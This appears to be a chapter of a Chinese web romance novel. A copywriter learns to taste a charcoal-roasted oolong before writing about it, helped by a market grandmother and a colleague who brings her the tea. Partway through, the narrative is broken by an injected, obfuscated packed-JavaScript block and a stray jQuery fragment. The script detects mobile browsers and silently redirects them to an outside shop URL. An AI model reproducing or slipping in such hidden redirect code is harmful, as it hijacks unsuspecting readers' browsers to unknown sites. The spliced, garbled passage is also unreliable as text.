早晨，予安坐在茶几前，打开空白文档。
包装盒主文案，内袋是短句，公众号品茶笔记。同一个炭焙乌龙，三种载体，三种语气。她打了几个字，删掉。又打，又删。光标在左上角一闪一闪，和昨天写阿黄文案的时候完全不一样。那次脑子里有那只缺了牙的狗，这次脑子里只有“炭焙”两个字。她喝过炭焙乌龙，但从来没认真喝过。以前在方禾加班，泡一杯灌下去，图的是咖啡因。
一个念头闪了一下：应该先跟老板要一包样品，好好喝一次再写。她盯着手机屏幕，南山茶舍老板的微信就在对话框最上面。拇指悬在屏幕上方停了两秒，缩回来了。
人家昨天才下的单，今天就开口要东西，有点不太好……
她泡了杯红茶，端着在客厅走了两圈。
穿上外套出了门。
菜场里阿婆正在摆摊，面前一筐白菜，叶子绿得发黑，外面几片有点蔫。阿婆把蔫的掰掉，里面嫩黄的芯子露出来，水灵灵的。予安走过去，说买棵白菜。阿婆抬头看她，手上没停。
“你今天有心事啊？眉头皱的呀！”
予安摸了摸自己的眉心，不好意思地笑了笑。
“写不出来东西。”
“写什么？”
“茶叶，一种炭焙的乌龙茶……”
阿婆想了想。
“茶叶这个东西啊是讲究的嘞，火过了会苦，火不够不够味，那种茶，你喝过没？”
予安愣了一下。
昨天她给南山茶舍老板回的语音头头是道：“炭焙的焦香先到舌尖，然后从喉咙往下走，后背会有一层薄汗”。
可真正坐下来慢慢喝炭焙乌龙的次数，一只手数得过来。早上那个闪过的念头又浮上来了：应该先要一包样品。
阿婆看了她一眼，没追问。弯腰从筐底抽出一棵白菜，把外面两片老叶子掰掉，放在秤上。“你上次说霜打过的菜心甜，那是你吃出来的。茶叶也一样，你没喝过，怎么写？”
予安接过白菜，抱在怀里，凉凉的，梗子硬挺挺地硌着手臂。阿婆从摊子下面拿出一个搪瓷盆，开始剁白菜帮子做酸菜。刀落在砧板上，一下一下，不快，但有节奏——咚、咚、咚。
“刀要斜着下去，不要直剁。”阿婆说，手上没停。“直剁累，还剁不细。”
予安看着那把刀。刀刃斜着切入白菜，往前一推，提起，再落下。
她拎着白菜往回走。路过肉摊，买了一块前腿肉，让老板绞了馅。走出菜场门口的时候，手机在口袋里震了一下。她掏出来看，公众号后台通知，不是南山茶舍。她把手机塞回口袋。
回到家，她把白菜放在砧板上，洗了手，拿起刀。阿婆那句话还搁在耳朵里，刀要斜着下去。直着剁惯了，斜着不顺手。试了几次，刀慢慢找到了角度。白菜从片变丝，从丝变碎。加盐杀水，挤干，菜汁从指缝流出来，凉的。肉馅倒进盆里，加了姜末、盐、一点生抽，顺着一个方向搅。白菜碎倒进去，搅到肉和菜分不出彼此。
包饺子。她以前只包过一次，在方禾团建，行政部买现成的皮和馅，大家围着桌子边包边聊，煮出来分不清哪个是谁包的。这次不一样。皮在左手掌心摊开，舀一坨馅放在正中，右手拇指和食指捏褶。第一个馅多了，皮撑破了。第二个褶子歪了，像被风吹过的百叶窗。第三个开始有形状了。十八个饺子在盘子里排成三排，歪歪扭扭，但每一个褶子都是她捏的。
锅里的水开了。饺子下锅，用勺子背顺着锅边推了一圈防止粘底。水滚了三滚，加了三回凉水。捞出来的时候破了两个，白菜猪肉馅从破口里鼓出来，汤面上浮着一点点油花。剩下的十六个完好，皮子微微透明，能隐约看见里面馅的颜色：粉白的肉，浅绿的白菜。
她夹了一个，吹了两下，咬开。烫——舌头缩了一下。馅是Q弹的，有嚼劲。肉和菜的比例刚好，白菜的甜和猪肉的鲜叠在一起，姜末把腥气压住了但又不抢。她自己包的。她自己剁的馅。
好吃。但脑子里还在想那个念头：该喝一下那家的炭焙乌龙。正正经经坐下来，像现在吃饺子这样，一口一口地尝。她看了一眼手机。南山茶舍老板的对话框安安静静的。要不要发消息？打了两个字，又删了。人家还没回昨天最后那条消息，现在开口要样品——算了。
下午的阳光从窗户斜进来，在茶几上画了一道歪歪扭扭的长方形，和早上一样的形状，只是往右挪了两寸。予安重新坐到茶几前。
她试着写了几行。
炭焙乌龙，源自……删掉。
一杯好茶，从……删掉。
她把键盘往前一推，靠在沙发上。天花板上有一道细小的裂缝，从灯座往墙角延伸，以前从来没注意过。
要是有那茶就好了，哪怕就泡一杯，喝一口，知道它到底特别在哪里。
不过，真的需要喝到才能写出来吗？昨天回的不是很好吗？怎么就写不下去了呢？
天黑了，窗外栾树光秃的枝桠在路灯下微微晃着。
予安把客厅的大灯关了，留了沙发旁边那盏落地灯。
泡了第三杯红茶，已经很淡了，但嘴闲着也是闲着，这好歹也是茶啊！
门铃响了。
她站起来，走到门口，从猫眼里往外看了一眼。陈朗站在门外，大衣领子竖着，手里拎着一个纸袋。外面风大，把他头发吹得乱七八糟的。她想也没想就拉开了门。
“你怎么来了？”
“下班路过。”
予安往他身后看了一眼，天早黑了，路灯亮了至少一个小时了。他住的地方和锦溪苑方向可是相反的。
他进了门，带进来一阵冷风。耳朵尖冻得有点红。他把纸袋放在茶几上。
“你昨天说接了茶舍的文案，我想着你可能需要先尝尝，正好我那有，是那家老板给的。”
予安低头看那个纸袋，炭焙乌龙。是南山茶舍的包装，封口贴着手写标签。
她脑子里那个想了一天的念头，啪地落下来了。
他怎么知道的？她从来没跟他提过要样品的事啊！
她踮起脚尖，用力抱住他。陈朗的身子微微一僵，随即手臂环过来，隔着大衣揽住她的腰。那一瞬，他的掌心贴在她后腰的薄毛衣上，温热而有力，像要把她整个人揉进怀里。予安把脸埋在他胸口，闻到他身上淡淡的冷冽气息混着纸墨香，心跳忽然乱了节奏。
她很快松开，却发现自己的耳朵已经发烫。
她拎起纸袋，拆开封口。茶叶条索紧结，深褐色，凑近闻，炒过的茶叶清香，带一点点焦味。她把茶叶拨进白瓷盖碗里。
“现在就泡？”陈朗说，声音低沉，目光落在她微微泛红的耳垂上。
“嗯，现在。”
她是一刻也不想停了。
她烧了水，稍微晾了一下，冲进去。第一泡，先闻。热气裹着炭火味冲进鼻子，焦香占了上风，底下隐约有一丝甜。她啜了一口，烫，舌尖被焦苦味压住了。她含在嘴里等了两秒，苦味从舌尖往舌根滑。
陈朗坐在沙发上，端着另一只杯子，静静地看着她，眼神温柔得像要融化什么。
“怎么样？”
“等一下，还得再尝一下。”
他笑着自己喝了一口，喉结滚动了一下。
第二泡，水再冲进去，茶叶舒展开了，盖碗盖子掀开，这次焦味退了一点，茶香浮上来。
她喝了一口，喉咙发暖，热气从喉咙一路沉到胃里，后背微微出了一层薄汗，像有人往背上盖了一层薄毯。她轻轻“嗯”了一声，身子不由自主地往沙发里陷了陷。
“对了？”陈朗说，声音更低了些。
“嗯。”
他举起手里的杯子，往她这边伸了一下。她愣了一下，随即也举起自己的杯子，轻轻碰上去。白瓷碰白瓷，叮的一声，很轻。指尖相触的那一刻，两人都没立刻收回。
她拿过手机，打开备忘录，打了三行字：一泡烫，焦香压舌根。二泡暖，苦化开，后背湿。
第三泡。水味出来了，茶味淡了。但喉咙里还留着那股暖。她又打了几个字：三泡淡，但暖还在。
她合上手机，把电脑搬到茶几上，挨着陈朗坐下来。膝盖几乎碰到他大腿侧。他往旁边挪了一点给她腾位置，手臂自然地搭在她身后的沙发靠背上。指尖若有若无地扫过她的肩头，隔着毛衣也能感觉到那点灼热。
内袋短句最先出来。她在电脑上敲了七个字：“喝到第二泡，后背暖了。”打完盯着看了两秒，把“的时候”三个字删掉。干干净净。
“你删了什么？”陈朗侧过头看屏幕，呼吸热热地拂在她耳后，带着淡淡的茶香。
“三个字。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733690|207030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“哪三个。”
“'的时候'。多余。”
他点点头，端起茶杯抿了一口。她也端起来喝了一口。两人的肩膀轻轻靠在一起，暖意在两人之间无声蔓延。
然后是包装盒主文案。她又敲了几行，删掉。再敲，这次手指没停。炭火在炉膛里烧一整夜，焙茶师傅不敢睡。火过了，茶苦。火不够，茶青。要刚好舔过茶叶的边缘，整条巷子都是茶香。写到“舔”字的时候，她想起阿婆的刀，斜着下去。文案也一样，不能直着写“这是一款好茶”，要斜着进来。
她停下来，往后靠了靠。后背碰到他的手臂。他没动，反而微微收紧，把她轻轻拢得更贴近一些。
“你看看。”她把电脑往他那边转了一点。
他往前倾，看得很慢。从包装盒的开始往下滑，滑到内袋，又翻回去，停在包装盒那篇。他的呼吸就在她耳朵旁边，温热的，带着茶香。她能闻到他身上淡淡的纸墨味，混着男性独有的清冽气息，让她心跳漏了一拍。
“炭火舔过茶叶，这个'舔'字是你自己喝出来的。”
“你怎么知道？”
“以前你不会用‘舔’。”他靠回沙发，声音低哑。“会用‘轻抚’。”
予安愣了一下。他在方禾看过她写的文案，他不只是看过，他还记得她用的每一个字。
“你记性也太好了。”
他端起茶杯，她也端起来，两只杯子在空中碰在一起。碰完后，他的手指顺势轻轻碰了碰她的手背，像羽毛拂过，却烫得惊人。
“嗯。”他喝了一口。“关于你的，都记住了。”
予安低下头，耳朵越发热了。
她继续写公众号品茶笔记。
他放下杯子，手指轻轻碰了一下她的肩膀。就一下，指腹隔着毛衣，在那块骨头上停了一秒，轻轻摩挲，然后才收了回去。那一点触碰却像电流，顺着脊背往下窜。
她肩膀上的那一小块皮肤，在他手指离开之后，还在发暖，像被他留下了隐秘的印记。
“周日去南山茶舍？老板说你可以去看茶园，会有更多的灵感。”
“茶园？”
“嗯。冬天茶园是另一种好看。茶树剪得整整齐齐，顶上盖了一层薄霜，太阳一晒就化了。没什么花，没什么颜色，但是干净。”
予安想象不出冬天的茶园是什么样的。
“好啊。”
“那我来接你。”
“嗯。”她端起茶杯，碰了一下他放在茶几上的杯子。
这时小刘回来了，看到陈朗也在，嘿嘿嘿，傻笑着说着不打扰你们，就回了自己的房间。
陈朗没有多留，他走了以后，予安在沙发上窝了一会儿。茶几上他带来的那盒炭焙乌龙，盖子还开着。她伸手拿过来，细心地收好。
她打开自己的公众号文档。昨天写的那篇周远的文章还躺在草稿文件夹里，光标在标题上闪。她看了两秒，没有点发布。
关掉，新建了一个空白文档。
今天在菜场，阿婆说霜打过的菜心甜，那是吃出来的。
予安开始打字。写霜打过的白菜为什么甜：气温一降，白菜把身体里的淀粉转化成糖，是一种植物过冬的方式。写阿婆教她剁馅，刀要斜着下去。写回家包了十八个饺子，破了两个，馅是Q弹的。写炭焙乌龙三泡，第一泡烫，第二泡暖，第三泡淡了但暖还在。
只写食物。不写阿婆姓什么、多大年纪、在菜场摆了多少年摊。不写她家里有几口人。就写她说的那句话，和她剁白菜时刀落在砧板上的节奏。
她打开“能写什么”文档，在两条规则下面又加了一行：先尝过再写。可以写人说的话，不写人的隐私。
标题打了四个字：冬吃白菜。
然后给陈朗发了条消息，把刚写的开头截图发过去。他回：“很好，很有画面感。”
“今天谢谢你。”
“谢什么。”
“茶，还有特意来看我。”
“以后我会经常来的。”
“你也可以来我家”
“我家就我一个人！”
“好~”
予安把手机扣在胸口。
茶几上那盒炭焙乌龙旁边，电脑屏幕亮着。光标停在“冬吃白菜”下面，一闪一闪。
这篇可以发。